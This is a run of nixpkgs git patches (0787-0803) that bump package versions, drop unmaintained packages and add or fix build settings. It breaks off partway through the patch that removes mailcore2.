Subject: [PATCH 0787/4511] vencord: 1.12.2 -> 1.12.3

(cherry picked from commit e69549d30754d32886aee26633baaa58851991b4)
---
 pkgs/by-name/ve/vencord/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ve/vencord/package.nix b/pkgs/by-name/ve/vencord/package.nix
index 5d5ecefbee0d..b9aff387a8b7 100644
--- a/pkgs/by-name/ve/vencord/package.nix
+++ b/pkgs/by-name/ve/vencord/package.nix
@@ -15,13 +15,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "vencord";
-  version = "1.12.2";
+  version = "1.12.3";
 
   src = fetchFromGitHub {
     owner = "Vendicated";
     repo = "Vencord";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-a4lbeuXEHDMDko8wte7jUdJ0yUcjfq3UPQAuSiz1UQU=";
+    hash = "sha256-fOZXgyA61G+D7otNNO8d89ghR/GiYPJ7vSZtj9TeGuU=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {

From aabc5b3c6629a9f017b9fd55cb7c5add146871eb Mon Sep 17 00:00:00 2001
From: Marie Ramlow <me@nycode.dev>
Date: Mon, 9 Jun 2025 11:24:54 +0200
Subject: [PATCH 0788/4511] vencord: remove custom esbuild override

Upstream's lockfile seems to include hashes for esbuild on every
platform we need now, so this is no longer required.

(cherry picked from commit 7b94aa96ee74e3ed732dc981cd1d4f4902870bcc)
---
 pkgs/by-name/ve/vencord/package.nix | 15 ---------------
 1 file changed, 15 deletions(-)

diff --git a/pkgs/by-name/ve/vencord/package.nix b/pkgs/by-name/ve/vencord/package.nix
index b9aff387a8b7..3b919d9e583e 100644
--- a/pkgs/by-name/ve/vencord/package.nix
+++ b/pkgs/by-name/ve/vencord/package.nix
@@ -1,6 +1,5 @@
 {
   curl,
-  esbuild,
   fetchFromGitHub,
   git,
   jq,
@@ -36,20 +35,6 @@ stdenv.mkDerivation (finalAttrs: {
   ];
 
   env = {
-    ESBUILD_BINARY_PATH = lib.getExe (
-      esbuild.overrideAttrs (
-        final: _: {
-          version = "0.25.1";
-          src = fetchFromGitHub {
-            owner = "evanw";
-            repo = "esbuild";
-            rev = "v${final.version}";
-            hash = "sha256-vrhtdrvrcC3dQoJM6hWq6wrGJLSiVww/CNPlL1N5kQ8=";
-          };
-          vendorHash = "sha256-+BfxCyg0KkDQpHt/wycy/8CTG6YBA/VJvJFhhzUnSiQ=";
-        }
-      )
-    );
     VENCORD_REMOTE = "${finalAttrs.src.owner}/${finalAttrs.src.repo}";
     VENCORD_HASH = "${finalAttrs.version}";
   };

From f23c77eaf09aa708c1f3a28c4927ebe2d0ed90ad Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Mon, 9 Jun 2025 12:24:09 -0400
Subject: [PATCH 0789/4511] lxdvdrip: drop

Unmaintained upstream for 10+ years, fails to build with gcc 14.

(cherry picked from commit c59e831ca579806ea3afdf71024f9ffc40c63dca)
---
 pkgs/by-name/lx/lxdvdrip/package.nix | 39 ----------------------------
 pkgs/top-level/aliases.nix           |  1 +
 2 files changed, 1 insertion(+), 39 deletions(-)
 delete mode 100644 pkgs/by-name/lx/lxdvdrip/package.nix

diff --git a/pkgs/by-name/lx/lxdvdrip/package.nix b/pkgs/by-name/lx/lxdvdrip/package.nix
deleted file mode 100644
index 600913966764..000000000000
--- a/pkgs/by-name/lx/lxdvdrip/package.nix
+++ /dev/null
@@ -1,39 +0,0 @@
-{
-  lib,
-  stdenv,
-  fetchurl,
-  libdvdread,
-}:
-
-stdenv.mkDerivation rec {
-  pname = "lxdvdrip";
-  version = "1.77";
-
-  src = fetchurl {
-    url = "mirror://sourceforge/lxdvdrip/lxdvdrip-${version}.tgz";
-    hash = "sha256-OzHrscftsCmJvSw7bb/Z2WDP322VCuQDY58dW2OqxB8=";
-  };
-
-  postPatch = ''
-    sed -i -e s,/usr/local,$out, -e s,/etc,$out/etc,g Makefile
-    sed -i -e s,/usr/local,$out, mbuffer/Makefile
-  '';
-
-  makeFlags = [
-    "PREFIX=${placeholder "out"}"
-  ];
-
-  preInstall = ''
-    mkdir -p $out/man/man1 $out/bin $out/share $out/etc
-  '';
-
-  buildInputs = [ libdvdread ];
-
-  meta = {
-    broken = (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64);
-    description = "Command line tool to make a copy from a video DVD for private use";
-    homepage = "https://sourceforge.net/projects/lxdvdrip";
-    license = lib.licenses.gpl2;
-    platforms = lib.platforms.linux;
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index cde5425e3718..de529629f1e7 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1134,6 +1134,7 @@ mapAliases {
   lv_img_conv = throw "'lv_img_conv' has been removed from nixpkgs as it is broken"; # Added 2024-06-18
   lxd = lib.warnOnInstantiate "lxd has been renamed to lxd-lts" lxd-lts; # Added 2024-04-01
   lxd-unwrapped = lib.warnOnInstantiate "lxd-unwrapped has been renamed to lxd-unwrapped-lts" lxd-unwrapped-lts; # Added 2024-04-01
+  lxdvdrip = throw "'lxdvdrip' has been removed due to lack of upstream maintenance."; # Added 2025-06-09
   lzma = throw "'lzma' has been renamed to/replaced by 'xz'"; # Converted to throw 2024-10-17
   lzwolf = throw "'lzwolf' has been removed because it's no longer maintained upstream. Consider using 'ecwolf'"; # Added 2025-03-02
 

From 3627b807ff09379e920c48ec9938802d6a9140d3 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Mon, 9 Jun 2025 11:56:37 -0400
Subject: [PATCH 0790/4511] libast: drop

Fails to build with gcc 14, unmaintained upstream for 5 years.

(cherry picked from commit c7999503b059c6cd08c642718409e337d4aee87e)
---
 pkgs/by-name/li/libast/package.nix | 33 ------------------------------
 pkgs/top-level/aliases.nix         |  1 +
 2 files changed, 1 insertion(+), 33 deletions(-)
 delete mode 100644 pkgs/by-name/li/libast/package.nix

diff --git a/pkgs/by-name/li/libast/package.nix b/pkgs/by-name/li/libast/package.nix
deleted file mode 100644
index c7bbce07f119..000000000000
--- a/pkgs/by-name/li/libast/package.nix
+++ /dev/null
@@ -1,33 +0,0 @@
-{
-  lib,
-  stdenv,
-  fetchFromGitHub,
-  autoreconfHook,
-  pkg-config,
-}:
-
-stdenv.mkDerivation rec {
-  pname = "libast";
-  version = "0.8";
-
-  src = fetchFromGitHub {
-    owner = "mej";
-    repo = pname;
-    rev = version;
-    hash = "sha256-rnqToFi+d6D6O+JDHQxkVjTc/0RBag6Jqv4uDcE4PNc=";
-  };
-
-  nativeBuildInputs = [
-    autoreconfHook
-    pkg-config
-  ];
-
-  meta = with lib; {
-    inherit (src.meta) homepage;
-    description = "Library of Assorted Spiffy Things";
-    mainProgram = "libast-config";
-    license = licenses.bsd2;
-    maintainers = [ ];
-    platforms = platforms.unix;
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index de529629f1e7..187c2106dbe0 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -966,6 +966,7 @@ mapAliases {
   ledger_agent = ledger-agent; # Added 2024-01-07
   lfs = dysk; # Added 2023-07-03
   libAfterImage = throw "'libAfterImage' has been removed from nixpkgs, as it's no longer in development for a long time"; # Added 2024-06-01
+  libast = throw "'libast' has been removed due to lack of maintenance upstream."; # Added 2025-06-09
   libav = throw "libav has been removed as it was insecure and abandoned upstream for over half a decade; please use FFmpeg"; # Added 2024-08-25
   libav_0_8 = libav; # Added 2024-08-25
   libav_11 = libav; # Added 2024-08-25

From 1865d846f1df2adbbfed7faf7218b871d4fa6423 Mon Sep 17 00:00:00 2001
From: Kira Bruneau <kira.bruneau@pm.me>
Date: Thu, 29 May 2025 01:36:16 -0400
Subject: [PATCH 0791/4511] mangohud: hardcode libGL & libX11

(cherry picked from commit 62f1946374dc9d463544293244ffc596f22b5c59)
---
 pkgs/tools/graphics/mangohud/default.nix      |  5 +++-
 .../mangohud/hardcode-dependencies.patch      | 27 ++++++++++++++++++-
 2 files changed, 30 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/graphics/mangohud/default.nix b/pkgs/tools/graphics/mangohud/default.nix
index cba3c24f70d8..b565ce52b92c 100644
--- a/pkgs/tools/graphics/mangohud/default.nix
+++ b/pkgs/tools/graphics/mangohud/default.nix
@@ -10,6 +10,8 @@
   gnused,
   xdg-utils,
   dbus,
+  libGL,
+  libX11,
   hwdata,
   mangohud32,
   addDriverRunpath,
@@ -20,7 +22,6 @@
   ninja,
   pkg-config,
   unzip,
-  libX11,
   wayland,
   libXNVCtrl,
   nlohmann_json,
@@ -138,6 +139,8 @@ stdenv.mkDerivation (finalAttrs: {
       ];
 
       libdbus = dbus.lib;
+      libGL = libGL;
+      libX11 = libX11;
       inherit hwdata;
     })
   ];
diff --git a/pkgs/tools/graphics/mangohud/hardcode-dependencies.patch b/pkgs/tools/graphics/mangohud/hardcode-dependencies.patch
index c19b2081c97f..14589826208d 100644
--- a/pkgs/tools/graphics/mangohud/hardcode-dependencies.patch
+++ b/pkgs/tools/graphics/mangohud/hardcode-dependencies.patch
@@ -11,8 +11,33 @@ index 7379af1..4eef3fe 100644
          SPDLOG_ERROR("Could not load libdbus-1.so.3");
          return false;
      }
+diff --git a/src/loaders/loader_glx.cpp b/src/loaders/loader_glx.cpp
+index aa453b8..0f6479d 100644
+--- a/src/loaders/loader_glx.cpp
++++ b/src/loaders/loader_glx.cpp
+@@ -23,7 +23,7 @@ bool glx_loader::Load() {
+   handle = real_dlopen("glxtrace.so", RTLD_LAZY);
+ #endif
+   if (!handle)
+-    handle = real_dlopen("libGL.so.1", RTLD_LAZY);
++    handle = real_dlopen("@libGL@/lib/libGL.so.1", RTLD_LAZY);
+   if (!handle) {
+     SPDLOG_ERROR("Failed to open " MANGOHUD_ARCH " libGL.so.1: {}", dlerror());
+     return false;
+diff --git a/src/loaders/loader_x11.cpp b/src/loaders/loader_x11.cpp
+index 214fd50..2f08857 100644
+--- a/src/loaders/loader_x11.cpp
++++ b/src/loaders/loader_x11.cpp
+@@ -110,6 +110,6 @@ static std::shared_ptr<libx11_loader> loader;
+ std::shared_ptr<libx11_loader> get_libx11()
+ {
+     if (!loader)
+-        loader = std::make_shared<libx11_loader>("libX11.so.6");
++        loader = std::make_shared<libx11_loader>("@libX11@/lib/libX11.so.6");
+     return loader;
+ }
 diff --git a/src/logging.cpp b/src/logging.cpp
-index ca986d4..c4d99ea 100644
+index 4ef7023..e24f6da 100644
 --- a/src/logging.cpp
 +++ b/src/logging.cpp
 @@ -28,8 +28,12 @@ string exec(string command) {

From 55f5c151b8fc72072ee1390b59d8511e2a043650 Mon Sep 17 00:00:00 2001
From: detroyejr <detroyejr@outlook.com>
Date: Sun, 4 May 2025 14:13:19 -0400
Subject: [PATCH 0792/4511] plex-desktop: unset QT env variables that may cause
 crashing

(cherry picked from commit 1e1a3ccd2c27d4ae5c41fdda31044bd75b342647)
---
 pkgs/by-name/pl/plex-desktop/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/pl/plex-desktop/package.nix b/pkgs/by-name/pl/plex-desktop/package.nix
index 8d114601d70f..c61e5d20ec5f 100644
--- a/pkgs/by-name/pl/plex-desktop/package.nix
+++ b/pkgs/by-name/pl/plex-desktop/package.nix
@@ -153,6 +153,9 @@ buildFHSEnv {
     # db files should have write access.
     chmod --recursive 750 "$PLEX_DB"
 
+    # These environment variables sometimes silently cause plex to crash.
+    unset QT_QPA_PLATFORM QT_STYLE_OVERRIDE
+
     set -o allexport
     ${lib.toShellVars extraEnv}
     exec ${plex-desktop}/Plex.sh

From b5a7bfeca14063ecd4e07052c1b8d66e108cab97 Mon Sep 17 00:00:00 2001
From: rnhmjoj <rnhmjoj@inventati.org>
Date: Mon, 9 Jun 2025 15:10:04 +0200
Subject: [PATCH 0793/4511] haskellPackages.adblock2privoxy: unbreak

(cherry picked from commit ad06620ad2e365b7d59c7f4fd172ba51097b6bb4)
---
 pkgs/development/haskell-modules/configuration-common.nix     | 4 ++++
 .../haskell-modules/configuration-hackage2nix/broken.yaml     | 1 -
 pkgs/development/haskell-modules/hackage-packages.nix         | 2 --
 3 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/haskell-modules/configuration-common.nix b/pkgs/development/haskell-modules/configuration-common.nix
index 18552c124d65..c0ed77609a5e 100644
--- a/pkgs/development/haskell-modules/configuration-common.nix
+++ b/pkgs/development/haskell-modules/configuration-common.nix
@@ -383,6 +383,10 @@ self: super:
     })
   ] super.lukko;
 
+  # Relax version constraints (network < 3.2, text < 2.1)
+  # https://github.com/essandess/adblock2privoxy/pull/43
+  adblock2privoxy = doJailbreak super.adblock2privoxy;
+
   # Fixes compilation for basement on i686 for GHC >= 9.4
   # https://github.com/haskell-foundation/foundation/pull/573
   # Patch would not work for GHC >= 9.2 where it breaks compilation on x86_64
diff --git a/pkgs/development/haskell-modules/configuration-hackage2nix/broken.yaml b/pkgs/development/haskell-modules/configuration-hackage2nix/broken.yaml
index 6b2b7fea2724..6d3723db2750 100644
--- a/pkgs/development/haskell-modules/configuration-hackage2nix/broken.yaml
+++ b/pkgs/development/haskell-modules/configuration-hackage2nix/broken.yaml
@@ -64,7 +64,6 @@ broken-packages:
   - Adaptive # failure in job https://hydra.nixos.org/build/233217421 at 2023-09-02
   - adaptive-tuple # failure in job https://hydra.nixos.org/build/233244881 at 2023-09-02
   - adb # failure in job https://hydra.nixos.org/build/233193888 at 2023-09-02
-  - adblock2privoxy # failure in job https://hydra.nixos.org/build/295091236 at 2025-04-22
   - addy # failure in job https://hydra.nixos.org/build/233240594 at 2023-09-02
   - adhoc-fixtures-hspec # failure in job https://hydra.nixos.org/build/252725981 at 2024-03-16
   - adjunction # failure in job https://hydra.nixos.org/build/233237774 at 2023-09-02
diff --git a/pkgs/development/haskell-modules/hackage-packages.nix b/pkgs/development/haskell-modules/hackage-packages.nix
index 9c812848605d..b662f4bd8405 100644
--- a/pkgs/development/haskell-modules/hackage-packages.nix
+++ b/pkgs/development/haskell-modules/hackage-packages.nix
@@ -52650,9 +52650,7 @@ self: {
       ];
       description = "Convert adblock config files to privoxy format";
       license = lib.licenses.gpl3Only;
-      hydraPlatforms = lib.platforms.none;
       mainProgram = "adblock2privoxy";
-      broken = true;
     }
   ) { };
 

From a2d101d9c3f9541ab2e543f63df9ec00b9808150 Mon Sep 17 00:00:00 2001
From: Yueh-Shun Li <shamrocklee@posteo.net>
Date: Thu, 15 May 2025 05:25:39 +0800
Subject: [PATCH 0794/4511] ibus-engines.chewing: init at 2.1.4

(cherry picked from commit bfa36019b94e1a452161b97dc9e42d1e65223f6a)
---
 .../ibus-engines/ibus-chewing/default.nix     | 51 +++++++++++++++++++
 pkgs/top-level/all-packages.nix               |  2 +
 2 files changed, 53 insertions(+)
 create mode 100644 pkgs/tools/inputmethods/ibus-engines/ibus-chewing/default.nix

diff --git a/pkgs/tools/inputmethods/ibus-engines/ibus-chewing/default.nix b/pkgs/tools/inputmethods/ibus-engines/ibus-chewing/default.nix
new file mode 100644
index 000000000000..392406b32eec
--- /dev/null
+++ b/pkgs/tools/inputmethods/ibus-engines/ibus-chewing/default.nix
@@ -0,0 +1,51 @@
+{
+  lib,
+  stdenv,
+  fetchFromGitHub,
+  cmake,
+  pkg-config,
+  wrapGAppsHook4,
+  glib,
+  gtk4,
+  ibus,
+  libadwaita,
+  libchewing,
+}:
+
+stdenv.mkDerivation (finalAttrs: {
+  pname = "ibus-chewing";
+  version = "2.1.4";
+
+  src = fetchFromGitHub {
+    owner = "chewing";
+    repo = "ibus-chewing";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-l2sXjXpiParDslVDG1mXmtGNj6qcLJMPxeaBYNQkqZA=";
+  };
+
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    wrapGAppsHook4
+  ];
+
+  buildInputs = [
+    glib
+    gtk4
+    ibus
+    libadwaita
+    libchewing
+  ];
+
+  enableParallelBuilding = true;
+
+  meta = {
+    isIbusEngine = true;
+    description = "Chewing engine for IBus";
+    homepage = "https://github.com/chewing/ibus-chewing";
+    changelog = "https://github.com/chewing/ibus-chewing/blob/${finalAttrs.src.rev}/CHANGELOG.md";
+    license = lib.licenses.gpl2Plus;
+    maintainers = with lib.maintainers; [ ShamrockLee ];
+    platforms = lib.platforms.linux;
+  };
+})
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 3a450f761cef..4277ea8d4bbe 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -2629,6 +2629,8 @@ with pkgs;
 
     cangjie = callPackage ../tools/inputmethods/ibus-engines/ibus-cangjie { };
 
+    chewing = callPackage ../tools/inputmethods/ibus-engines/ibus-chewing { };
+
     hangul = callPackage ../tools/inputmethods/ibus-engines/ibus-hangul { };
 
     kkc = callPackage ../tools/inputmethods/ibus-engines/ibus-kkc { };

From f5a0cfeb4acbc21b791c69cfb4417364667aa67e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 25 Apr 2025 14:00:54 +0000
Subject: [PATCH 0795/4511] libuv: 1.50.0 -> 1.51.0

(cherry picked from commit 67c99e3e49527776e19540302fb4547496684d11)
---
 pkgs/by-name/li/libuv/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libuv/package.nix b/pkgs/by-name/li/libuv/package.nix
index 37e6c5a90b12..ccbcfc939ed6 100644
--- a/pkgs/by-name/li/libuv/package.nix
+++ b/pkgs/by-name/li/libuv/package.nix
@@ -24,14 +24,14 @@
 }:
 
 stdenv.mkDerivation (finalAttrs: {
-  version = "1.50.0";
+  version = "1.51.0";
   pname = "libuv";
 
   src = fetchFromGitHub {
     owner = "libuv";
     repo = "libuv";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-1Z/zf4qZYDM5upHdRtc1HGpHaGTRHm147azJZ0pT5pU=";
+    hash = "sha256-ayTk3qkeeAjrGj5ab7wF7vpWI8XWS1EeKKUqzaD/LY0=";
   };
 
   outputs = [

From c970a326dd25e7703eb61b98b70e765d97bf1be3 Mon Sep 17 00:00:00 2001
From: Robert Scott <code@humanleg.org.uk>
Date: Fri, 4 Apr 2025 13:26:48 +0100
Subject: [PATCH 0796/4511] mpfr: disable trivialautovarinit hardening flag

(cherry picked from commit 9a2cd0e2882ccc4c0e1f282c405509b13b0c6ded)
---
 pkgs/by-name/mp/mpfr/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/mp/mpfr/package.nix b/pkgs/by-name/mp/mpfr/package.nix
index 9874292c6f8a..7dc402720c8a 100644
--- a/pkgs/by-name/mp/mpfr/package.nix
+++ b/pkgs/by-name/mp/mpfr/package.nix
@@ -38,6 +38,11 @@ stdenv.mkDerivation rec {
   # mpfr.h requires gmp.h
   propagatedBuildInputs = [ gmp ];
 
+  hardeningDisable = [
+    # causes tests tset_ld & tsprintf to fail
+    "trivialautovarinit"
+  ];
+
   configureFlags =
     lib.optional stdenv.hostPlatform.isSunOS "--disable-thread-safe"
     ++ lib.optional stdenv.hostPlatform.is64bit "--with-pic"

From ff451b32d5de800ad5e29ecd69e9fa439154bc9c Mon Sep 17 00:00:00 2001
From: Robert Scott <code@humanleg.org.uk>
Date: Sat, 12 Apr 2025 11:53:27 +0100
Subject: [PATCH 0797/4511] chromaprint: disable trivialautovarinit hardening
 flag

(cherry picked from commit e3bf9811986d255fad07f738bea5ba5b949de915)
---
 pkgs/by-name/ch/chromaprint/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/ch/chromaprint/package.nix b/pkgs/by-name/ch/chromaprint/package.nix
index 73175713bbe9..3f56672f23ae 100644
--- a/pkgs/by-name/ch/chromaprint/package.nix
+++ b/pkgs/by-name/ch/chromaprint/package.nix
@@ -60,6 +60,9 @@ stdenv.mkDerivation (finalAttrs: {
       zlib
     ];
 
+  # with trivialautovarinit enabled can produce an empty .pc file
+  hardeningDisable = [ "trivialautovarinit" ];
+
   cmakeFlags = [
     (lib.cmakeBool "BUILD_EXAMPLES" withExamples)
     (lib.cmakeBool "BUILD_TOOLS" withTools)

From 8a2990b29ccd479bdb354013a8b9c32c72710c55 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 4 Jun 2025 08:20:14 +0000
Subject: [PATCH 0798/4511] simdjson: 3.12.3 -> 3.13.0

(cherry picked from commit bb871f562ea693325211ccafb629e788ad02fda5)
---
 pkgs/by-name/si/simdjson/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/simdjson/package.nix b/pkgs/by-name/si/simdjson/package.nix
index 574fd70bc2d0..1a64b60ac280 100644
--- a/pkgs/by-name/si/simdjson/package.nix
+++ b/pkgs/by-name/si/simdjson/package.nix
@@ -7,13 +7,13 @@
 
 stdenv.mkDerivation rec {
   pname = "simdjson";
-  version = "3.12.3";
+  version = "3.13.0";
 
   src = fetchFromGitHub {
     owner = "simdjson";
     repo = "simdjson";
     rev = "v${version}";
-    sha256 = "sha256-/FfaM5BTWKrt2m70+VcUXz//RiZuzxnUOaHOjPJWsGw=";
+    sha256 = "sha256-Vzw1FpFjg3Tun1Sfk7H4h4tY7lfnjE1Wk+W82K7dcW0=";
   };
 
   nativeBuildInputs = [ cmake ];

From 1133580f4ca64716384eb5f9369f35b668bc47f8 Mon Sep 17 00:00:00 2001
From: Marcel <me@m4rc3l.de>
Date: Mon, 9 Jun 2025 18:20:14 +0200
Subject: [PATCH 0799/4511] fishPlugins.pure: 4.11.0 -> 4.11.3

(cherry picked from commit d5c077f4d22144e7ef5bd27ab4ece0161104f7c5)
---
 pkgs/shells/fish/plugins/pure.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/shells/fish/plugins/pure.nix b/pkgs/shells/fish/plugins/pure.nix
index c5a288b8f027..ffa7dfb1615d 100644
--- a/pkgs/shells/fish/plugins/pure.nix
+++ b/pkgs/shells/fish/plugins/pure.nix
@@ -8,13 +8,13 @@
 
 buildFishPlugin rec {
   pname = "pure";
-  version = "4.11.0";
+  version = "4.11.3";
 
   src = fetchFromGitHub {
     owner = "pure-fish";
     repo = "pure";
     rev = "v${version}";
-    hash = "sha256-8zxqPU9N5XGbKc0b3bZYkQ3yH64qcbakMsHIpHZSne4=";
+    hash = "sha256-mMUFR/n4aLsmZNbVAYmx57AMXT6U2P+wTuuN3opCeqs=";
   };
 
   nativeCheckInputs = [ git ];

From 9e473400d596d232cafb45abd853be94bcf8d053 Mon Sep 17 00:00:00 2001
From: mtc <hello@crit.me>
Date: Sat, 7 Jun 2025 00:53:00 -0400
Subject: [PATCH 0800/4511] opencv: export CUDA_TOOLKIT_ROOT_DIR so findCUDA
 uses Nix-selected toolkit

opencv: condensed comments
(cherry picked from commit 9bb1700d790325f5a8608e3287b51bd5bdb56e90)
---
 pkgs/development/libraries/opencv/4.x.nix | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/libraries/opencv/4.x.nix b/pkgs/development/libraries/opencv/4.x.nix
index dd62e5398981..fc2432d6bc94 100644
--- a/pkgs/development/libraries/opencv/4.x.nix
+++ b/pkgs/development/libraries/opencv/4.x.nix
@@ -585,9 +585,13 @@ effectiveStdenv.mkDerivation {
       mkdir -p "$cxxdev/nix-support"
       echo "''${!outputDev}" >> "$cxxdev/nix-support/propagated-build-inputs"
     ''
+    # hard-wire CUDA_TOOLKIT_ROOT_DIR so FindCUDA sees the toolkit
     # remove the requirement that the exact same version of CUDA is used in packages
-    # consuming OpenCV's CMakes files
+    #   consuming OpenCV's CMakes files
     + optionalString enableCuda ''
+      sed -i '1s;^;set(CUDA_TOOLKIT_ROOT_DIR ${cudaPackages.cudatoolkit})\n;' \
+        "$out/lib/cmake/opencv4/OpenCVConfig.cmake"
+
       substituteInPlace "$out/lib/cmake/opencv4/OpenCVConfig.cmake" \
         --replace-fail \
           'find_host_package(CUDA ''${OpenCV_CUDA_VERSION} EXACT REQUIRED)' \

From 3a6a004d174422a9ccda285d7b09b52ac321275d Mon Sep 17 00:00:00 2001
From: Bloxx12 <charlie@charlieroot.dev>
Date: Wed, 4 Jun 2025 22:20:07 +0200
Subject: [PATCH 0801/4511] nh: 4.1.0 -> 4.1.2

(cherry picked from commit 2cd30b1b7762ac8c72c2ea1e178a0fb599d3db02)
---
 pkgs/by-name/nh/nh/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/nh/nh/package.nix b/pkgs/by-name/nh/nh/package.nix
index 85e860a9bbde..e2039517580b 100644
--- a/pkgs/by-name/nh/nh/package.nix
+++ b/pkgs/by-name/nh/nh/package.nix
@@ -18,13 +18,13 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "nh";
-  version = "4.1.0";
+  version = "4.1.2";
 
   src = fetchFromGitHub {
     owner = "nix-community";
     repo = "nh";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-OiuhBrJe1AyVxC+AV4HMJ+vhDvUfCyLpBmj+Fy7MDtM=";
+    hash = "sha256-v02NsZ589zzPq5xsCxyrG1/ZkFbbMkUthly50QdmYKo=";
   };
 
   strictDeps = true;
@@ -55,7 +55,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   '';
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-/tbmzGUd1b4oa+29+eFdkE4l8vxMoIdHx40YgErY9pY=";
+  cargoHash = "sha256-R2S0gbT3DD/Dtx8edqhD0fpDqe8AJgyLmlPoNEKm4BA=";
 
   passthru.updateScript = nix-update-script { };
 

From 27e017565906b1a5136842d82384a3d16d1d8093 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Mon, 9 Jun 2025 21:23:46 +0200
Subject: [PATCH 0802/4511] victoriametrics: 1.118.0 -> 1.119.0

Release notes: https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.119.0
Full changelog: https://github.com/VictoriaMetrics/VictoriaMetrics/compare/v1.118.0...v1.119.0

(cherry picked from commit 4b65e4c261438ce2a287ce17ef7cd7862a6646ba)
---
 pkgs/by-name/vi/victoriametrics/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/vi/victoriametrics/package.nix b/pkgs/by-name/vi/victoriametrics/package.nix
index 62fab4ed0ae6..5d9cd54783a6 100644
--- a/pkgs/by-name/vi/victoriametrics/package.nix
+++ b/pkgs/by-name/vi/victoriametrics/package.nix
@@ -14,13 +14,13 @@
 
 buildGoModule (finalAttrs: {
   pname = "VictoriaMetrics";
-  version = "1.118.0";
+  version = "1.119.0";
 
   src = fetchFromGitHub {
     owner = "VictoriaMetrics";
     repo = "VictoriaMetrics";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-a84n9fuGdiG0o/1/9q3etTwoFbOL01y88ubTI/yIIBA=";
+    hash = "sha256-Gc3B3JmTbINdPJ8PIhcuQhFD+FoxNOskoBEcDoMAUUk=";
   };
 
   vendorHash = null;

From 3ec9d485a58db611653ce4aef73eae249c5bac3c Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Mon, 9 Jun 2025 12:29:28 -0400
Subject: [PATCH 0803/4511] mailcore2: drop

Unmaintained upstream for 3 years, does not compile with gcc 14.

(cherry picked from commit 71364317b40a0d8d183888f5fcf516cd976952a9)
---
 .../libraries/mailcore2/default.nix           | 95 -------------------
 pkgs/top-level/aliases.nix                    |  1 +
 pkgs/top-level/all-packages.nix               |  4 -
 3 files changed, 1 insertion(+), 99 deletions(-)
 delete mode 100644 pkgs/development/libraries/mailcore2/default.nix

diff --git a/pkgs/development/libraries/mailcore2/default.nix b/pkgs/development/libraries/mailcore2/default.nix
deleted file mode 100644
index e1556ba78c80..000000000000
--- a/pkgs/development/libraries/mailcore2/default.nix
+++ /dev/null
@@ -1,95 +0,0 @@
-{
-  stdenv,
-  lib,
-  fetchFromGitHub,
-  cmake,
-  libetpan,
-  icu,
-  cyrus_sasl,
-  libctemplate,
-  libuchardet,
-  pkg-config,
-  glib,
-  html-tidy,
-  libxml2,
-  libuuid,
-  openssl,
-}:
-
-stdenv.mkDerivation rec {
-  pname = "mailcore2";
-
-  version = "0.6.4";
-
-  src = fetchFromGitHub {
-    owner = "MailCore";
-    repo = "mailcore2";
-    rev = version;
-    sha256 = "0a69q11z194fdfwyazjyyylx57sqs9j4lz7jwh5qcws8syqgb23z";
-  };
-
-  nativeBuildInputs = [
-    cmake
-    pkg-config
-  ];
-  buildInputs =
-    [
-      libetpan
-      cyrus_sasl
-      libctemplate
-      libuchardet
-      html-tidy
-      libxml2
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      glib
-      icu
-      libuuid
-    ];
-
-  postPatch =
-    ''
-      substituteInPlace CMakeLists.txt \
-         --replace " icule iculx" "" \
-         --replace "tidy/tidy.h" "tidy.h" \
-         --replace "/usr/include/tidy" "${html-tidy}/include" \
-         --replace "/usr/include/libxml2" "${libxml2.dev}/include/libxml2"
-      substituteInPlace src/core/basetypes/MCHTMLCleaner.cpp \
-        --replace buffio.h tidybuffio.h
-      substituteInPlace src/core/basetypes/MCString.cpp \
-        --replace "xmlErrorPtr" "const xmlError *"
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
